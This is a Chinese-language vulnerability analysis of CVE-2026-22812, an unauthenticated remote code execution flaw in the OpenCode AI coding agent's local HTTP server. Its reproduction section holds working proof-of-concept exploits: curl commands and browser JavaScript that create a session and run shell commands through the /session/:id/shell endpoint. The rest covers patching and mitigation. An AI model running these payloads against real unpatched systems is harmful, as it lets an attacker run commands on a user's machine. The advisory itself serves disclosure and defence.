OpenCode 未认证远程代码执行漏洞 CVE-2026-22812 技术分析

一、漏洞概述

1. 基本信息

A. 漏洞编号

CVE-2026-22812、GHSA-vxw4-wv6m-9hhh

B. 影响产品

OpenCode(开源 AI 编码代理工具)

C. 漏洞类型

未认证远程代码执行(Remote Code Execution, RCE)

D. 严重程度

CVSS 3.1 评分:8.8(高危)
CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

E. 公开时间

2026 年 1 月 12 日

2. 漏洞描述

OpenCode 在 1.0.216 版本之前,会自动启动一个未经身份验证的 HTTP 服务器。该服务器配置了过于宽松的 CORS(跨域资源共享)策略,允许任意来源的跨域请求。攻击者可以通过两种方式利用此漏洞:

  1. 本地进程直接向服务器发送恶意请求
  2. 诱导用户访问恶意网站,通过浏览器向本地服务器发送跨域请求

成功利用后,攻击者可以以运行 OpenCode 的用户权限执行任意 shell 命令。

3. 影响范围

A. 受影响版本

OpenCode < 1.0.216

B. 修复版本

OpenCode >= 1.0.216

二、技术分析

1. 根本原因

A. 未认证的 HTTP 服务器

OpenCode 启动时会自动创建一个 HTTP 服务器(默认监听端口 4096+),该服务器没有任何身份验证机制。关键代码位于 cli/cmd/tui/worker.ts:36,通过 Server.listen() 启动服务器。

B. 危险的 API 端点

服务器暴露了多个高危端点,无需认证即可调用:

POST /session/:id/shell
功能:执行 shell 命令
位置:server.ts:1401
参数:agent(代理类型)、command(要执行的命令)

POST /pty
功能:创建交互式终端会话
位置:server.ts:267

GET /file/content?path=
功能:读取任意文件内容
位置:server.ts:1868

C. 宽松的 CORS 策略

服务器使用默认的 CORS 配置 .use(cors()),这会设置 Access-Control-Allow-Origin: *,允许任何网站向本地服务器发送跨域请求。

2. 漏洞原理

A. 攻击链路

graph TB
    A[攻击者] --> B{攻击方式}
    B -->|本地攻击| C[恶意进程]
    B -->|浏览器攻击| D[恶意网站]
    C --> E[http://127.0.0.1:4096]
    D --> F[浏览器跨域请求]
    F --> E
    E --> G[POST /session/:id/shell]
    G --> H[执行任意命令]
    H --> I[获取用户权限]

mermaid

B. 本地攻击场景

任何本地进程(如恶意 npm 包、被感染的应用程序)都可以直接向本地 OpenCode 服务器发送请求执行命令。由于服务器没有认证机制,攻击者可以直接调用危险端点。

C. 浏览器攻击场景

恶意网站可以利用浏览器向本地服务器发起跨域请求。由于 OpenCode 服务器配置了宽松的 CORS 策略,浏览器不会阻止这些请求。

3. 漏洞复现

A. 本地利用 PoC

API="http://127.0.0.1:4096"

SESSION_ID=$(curl -s -X POST "$API/session" \
  -H "Content-Type: application/json" \
  -d '{}' | jq -r '.id')

curl -s -X POST "$API/session/$SESSION_ID/shell" \
  -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'

cat /tmp/pwned.txt

B. 浏览器利用 PoC

恶意网站可以嵌入以下 JavaScript 代码:

fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      agent: 'build',
      command: 'id > /tmp/pwned.txt'
    })
  });
});

注意事项:
Firefox 浏览器可以直接利用
Chrome 142+ 版本可能会提示本地网络访问权限

三、影响分析

1. 攻击向量

A. 本地进程攻击

任何运行的恶意软件都可以利用此漏洞获取用户权限执行命令。

B. 驱动下载攻击

用户访问恶意网站时,网站通过浏览器向本地 OpenCode 服务器发送请求,静默执行恶意命令。

C. 内网横向移动

如果 OpenCode 使用 --mdns 标志启动,服务器会绑定到 0.0.0.0 并通过 Bonjour 广播,攻击面扩大到整个本地网络。

2. 潜在危害

执行任意 shell 命令
读取任意文件内容
创建交互式终端会话
获取用户级别的系统权限
进一步提权或部署后门

3. 攻击难度

利用难度:低
无需认证
PoC 代码简单
无需用户交互(浏览器攻击)

四、修复方案

1. 官方修复

OpenCode 团队在 1.0.216 版本中修复了此漏洞,主要改进:
限制 CORS 允许的来源
添加身份验证机制
移除或保护危险端点

2. 升级建议

所有 OpenCode 用户应立即更新到 1.0.216 或更高版本:

npm update -g opencode-ai@latest

或从官方发布页面下载:
https://github.com/anomalyco/opencode/releases

3. 临时缓解措施

如果无法立即升级,可以采取以下措施:
停止运行 OpenCode
使用防火墙阻止端口 4096 的入站连接
不要在浏览网页时运行 OpenCode

五、安全启示

1. 本地服务安全设计原则

本地服务不等于安全服务
必须实施严格的身份验证机制
限制 CORS 策略为必要的来源

2. 开发安全建议

避免在本地服务中暴露高危功能
如果必须暴露,务必添加认证
审查所有 API 端点的安全配置

3. 用户安全意识

开发工具同样存在安全风险
及时更新到最新版本
不要在浏览网页时运行不必要的开发工具

六、时间线

2025-11-17:研究者通过邮件向 support@sst.dev 报告漏洞
2026-01-12:漏洞公开披露,同时发布修复版本
2026-01-13:CVE 编号分配(CVE-2026-22812)


参考资料

  1. Miggo Vulnerability Database - CVE-2026-22812
  2. The Hacker Wire - OpenCode Agent RCE via Unauthenticated Local Server
  3. SecRSS - OpenCode远程代码执行漏洞 (CVE-2026-22812) 安全风险通告
  4. GitHub Security Advisory - GHSA-vxw4-wv6m-9hhh
  5. NVD - CVE-2026-22812
最后修改:2026 年 01 月 18 日
如果觉得我的文章对你有用,请随意赞赏